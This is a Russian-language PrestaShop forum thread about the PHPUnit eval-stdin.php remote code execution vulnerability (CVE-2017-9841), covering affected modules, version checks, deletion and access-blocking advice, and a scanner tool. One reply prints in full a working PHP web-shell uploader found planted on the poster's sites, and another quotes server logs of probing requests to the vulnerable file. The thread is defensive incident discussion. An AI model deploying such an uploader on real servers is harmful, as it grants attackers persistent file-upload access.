Воскрешение уязвимости PHPUnit в Prestashop

Автор Виталий, 21 октября 2020, 13:22:49

« назад - далее »

Виталий

В начале 2020 года вышло предупреждение от команды Prestashop.
https://build.prestashop.com/news/critical-security-vulnerability-in-prestashop-modules/

После обнаружения проблемы был выпущен патч. Как только патч для выпущен, мы думаем, что проблема решена, и баг теперь не работает. В большинстве случаев это не так. Для решения этой проблемы от всех разработчиков требуется использование последней версии патча. Поскольку обновление не является особенно тривиальным действием, разработчикам необходимо планировать заранее и вставлять изменения через процесс разработки, планируя подходящее время для применения.  В рамках исследования, проведенного в Imperva, наблюдается около 9 млн попыток атак с использованием уязвимости PHPUnit. Оно является одним из наиболее эксплуатируемых в 2019 г.
Попытки атак по годам:
- 2019 - около 7 млн за последние шесть месяцев.
- 2020 год - около 2 млн до января
Как мы видим, около 70% атак было совершено в период между последними двумя месяцами 2019 года по январь включительно.

Начало проблемы.
27 июня 2017 года, была выявлена уязвимость для удаленного выполнения кода (CVE-2017-9841) в PHPUnit, широко используемом фреймворке тестирования для PHP, который используется для выполнения юнит-тестов в цикле разработки приложений. К сожалению, многие процессы разработки не являются оптимальными, и этот фреймворк остается включенным в продакшене, что делает жизнь злоумышленников слаще.
С тех пор, как этот фреймворк начали использовать в популярных CMS (Content Management Systems), такими как WordPress, Drupal и Prestashop, а также многими модулями, созданными сторонними разработчиками, масштабы данной бреши в безопасности могут быть достаточно широкими.

Вот, например, несколько известных модулей, которые внедряются в продакшен - в том числе и в фреймворк PHPUnit:
- Prestashop: (autoupgrade ,pscartabandonmentpro ,ps_facetedsearch, Gamification, ps_checkout);
- WordPress: ( плагин Jekyll Exporter, Dzs-videogallery, cloudflare, MediaWiki, Moodle);
- Drupal: (Mailchimp/Mailchimp commerce);

Следует учитывать, что даже если вы запатчите "PHPUnit" как таковой, вы все равно будете уязвимы при использовании фреймворка, который основан на старых версиях.

Выводы:
Старые уязвимости не исчезнут с момента публикации патча. Что бы уязвимость исчезла, от разработчика, использующего уязвимый фреймворк, требуется выполнять обновление каждый раз при выходе изменений, в реальности он может игнорировать рекомендации по исправлению ошибкок из-за больших объемов работ, сложности изменений.  Так как новые патчи регулярно публикуются, многие фреймворки и сторонние модули не успевают использовать последний обновленный код и оставляют проблемы безопасности в своих разработках. Хакеры это знают, и именно поэтому они до сих пор успешно проводят атки со старыми уязвимостями.

В дополнение к используемой старой уязвимости PHPUnit, есть предположения, что новая уязвимость в PHPUnit еще не опубликована. Если это так, то, возможно, затронуты все версии PHPUnit, содержащие eval-stdin.php.
Имейте в виду, что вы можете неосознанно использовать уязвимый модуль, разработанный третьими лицами с помощью фреймворка PHPUnit, не удаляя его перед публикацией в продакшен.

Ваши сайты уязвимы?
- Проверьте, существует ли PHPUnit на вашем веб-сервере.
- Если да, и ваша версия PHPUnit до 7.5.19 и 8.5.1, то возможно, что вы уязвимы при определенных конфигурациях сервера.
- Рекомендуется удалить его (хотя в некоторых случаях это может привести к отказу в работе сайта), можно также заблокировать удаленный доступ к каталогу vendor, который является корневым путем фреймворка PHPUtil.

Ваши сайты заражены?
- Проверьте новые файлы по пути PHPUnit
- Проверьте основные файлы, которые были изменены в последнее время.
Cоздание интернет сайтов Webstudio UwK

PrestaMan

Эксперт Prestashop - решения всех проблем, написание модулей, создание тем для интернет-магазинов под Prestashop.
Эксперт Magento - создам сайт на Magento, программирование кастомных модулей для Magento, кастомизация тем Magento.
Лучшие цены!!!

mAgency

Цитата: Виталий от 21 октября 2020, 13:22:49
Ваши сайты уязвимы?
- Проверьте, существует ли PHPUnit на вашем веб-сервере.
- Если да, и ваша версия PHPUnit до 7.5.19 и 8.5.1, то возможно, что вы уязвимы при определенных конфигурациях сервера.
- Рекомендуется удалить его (хотя в некоторых случаях это может привести к отказу в работе сайта), можно также заблокировать удаленный доступ к каталогу vendor, который является корневым путем фреймворка PHPUtil.
В prestashop даже в последней версии и многих модулях используют версию 5.7. Вот пример из некоторых модулей.
<phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/5.7/phpunit.xsd" bootstrap="tests/autoload.php">
Интернет-магазин под ключ.
Какой выбрать движок для интернет магазина ?
Какой движок лучше ?
Magento или Prestashop ?
Решение всех Ваших вопросов в создании Интернет-магазина.

DarinSr

Добавлю к перечисленным модулям prestashop
autoupgrade, pscartabandonmentpro, ps_facetedsearch, gamification, ps_checkout
еще пару
psaddonsconnect, ps_mbo

И еще
/vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/

PrestaMan

Цитата: DarinSr от 21 октября 2020, 13:53:42
И еще
/vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/
Читали что пишут в prestashop?
ЦитироватьShould I also delete the Symfony related folder /vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/?
No.
Only the folders <prestashop_directory>/vendor and <prestashop_directory>/modules/<module_name>/vendor can contain the vulnerable library PHPUnit. The folder /vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/ is safe do not delete it.
Так что папку /vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/ трогать нельзя.
Обновлять нужно до последний версии prestashop, если хотите быть уверными в закрытии этой дыры.
Эксперт Prestashop - решения всех проблем, написание модулей, создание тем для интернет-магазинов под Prestashop.
Эксперт Magento - создам сайт на Magento, программирование кастомных модулей для Magento, кастомизация тем Magento.
Лучшие цены!!!

zapalm

Авторы статьи сделали заголовок слишком громкий - так можно о многих старых уязвимостях написать. В действительности, новой уязвимости - нет.
Сейчас проверил свои сайты - нашел на нескольких сайтах файл с уязвимостью (eval-stdin.php). Уязвимости на нём не воспроизвести извне, т.к. он уже включает исправление. Просмотрел все логи - сотни запросов на "прощупывание" и десятки запросов к найденному файлу eval-stdin.php. Пытались, но ничего не получилось, хотя я по началу напрягся ;D

tigran

Проверил свои. Из 12 сайтов, 8 с файлами "phpXXX000sdf".
<?php echo 'PRIVET BOT BY XSam-XAdoo'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd(); Echo '<center>  <form method="post" target="_self" enctype="multipart/form-data">  <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  </form>  </center></td></tr> </table><br>'; if (!empty ($_FILES['uploads'])) {     move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);     Echo "<script>alert('upload Done'); </script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type']; } ?>
Удалил все что связано с phpunit.
Через пару дней опять появились эти файлы.
Что может быть еще?

PrestaMan

Логирование подключите. Увидите кто и когда создает эти файлы.
Эксперт Prestashop - решения всех проблем, написание модулей, создание тем для интернет-магазинов под Prestashop.
Эксперт Magento - создам сайт на Magento, программирование кастомных модулей для Magento, кастомизация тем Magento.
Лучшие цены!!!

tigran

Включено. Создает владелец, это очевидно. Эта информация ничего не дает.
Заметил что на сервере много процессов php-fpm. И они грузят ядра на 100%.


mAgency

Статус процессов? Что у вас с базой данных? Включите slow query log - лог медленных запросов.
Интернет-магазин под ключ.
Какой выбрать движок для интернет магазина ?
Какой движок лучше ?
Magento или Prestashop ?
Решение всех Ваших вопросов в создании Интернет-магазина.

tigran

Цитата: mAgency от 28 октября 2020, 11:33:52
Статус процессов? Что у вас с базой данных? Включите slow query log - лог медленных запросов.
Большинство в статусе "S".
В базе что проверять?

tigran

Цитата: PrestaMan от 21 октября 2020, 14:01:54
Цитата: DarinSr от 21 октября 2020, 13:53:42
И еще
/vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/
Читали что пишут в prestashop?
ЦитироватьShould I also delete the Symfony related folder /vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/?
No.
Only the folders <prestashop_directory>/vendor and <prestashop_directory>/modules/<module_name>/vendor can contain the vulnerable library PHPUnit. The folder /vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/ is safe do not delete it.
Так что папку /vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/ трогать нельзя.
Обновлять нужно до последний версии prestashop, если хотите быть уверными в закрытии этой дыры.
Может они там и пишут что-то, только на практике у меня в логах к этому файлу запросы почти каждую секунду
....
2020/10/28 05:50:48 [error] xxx#xxx: *access forbidden by rule, client: 193.27.229.26, server: xxxxxx, request: "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", host: "xxxxxx"
2020/10/28 05:50:51 [error] xxx#xxx: *access forbidden by rule, client: 193.27.229.26, server: xxxxxx, request: "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", host: "xxxxxx"
......

*access forbidden by rule потому что закрыл доступ к этой директории, после закрытия перестали появляться стороннии файлы.

zapalm

Файловые пути то отличаются:
Цитировать/vendor/phpunit/phpunit/src/Util/PHP/
/vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/

Уязвимость была найдена только в файле eval-stdin.php
Рекомендацию, которую везде пишут, что, мол, удалите директории phpunit - сделана для упрощения. Хотя, смотрите, всё равно пользователи могут удалить не то, что надо...
По факту, удалить нужно только тот PHP-файл. Хотя файлы самого фреймворка PHPUnit и тестов модуля не должны находится в продакшене.

Удалить файл с уязвимостью не достаточно, если злоумышленник уже загрузил свои скрипты на сайт (внёс исправления в файлы сайта).

zapalm

Обновил бесплатный инструмент проверки на известные уязвимости, чтобы проверял данную уязвимость, а также проверял на наличие загруженных файлов злоумышленником (взял список таких файлов из различных источников). Прочитайте мой комментарий на странице инструмента.

Я также обновил бесплатный модуль "Инструмент для технического обслуживания", которой теперь использует библиотечный код того инструмента, так, что теперь проверять сайт будет ещё проще.

Пример отчёта - во вложении. Я отметил проверку на эту уязвимость на скриншоте. Не обращайте внимания на информирование о потенциально вредоностном файле на скриншоте, так как он, на самом деле, безопасен (название файла просто совпадало с потенциально вредоностным).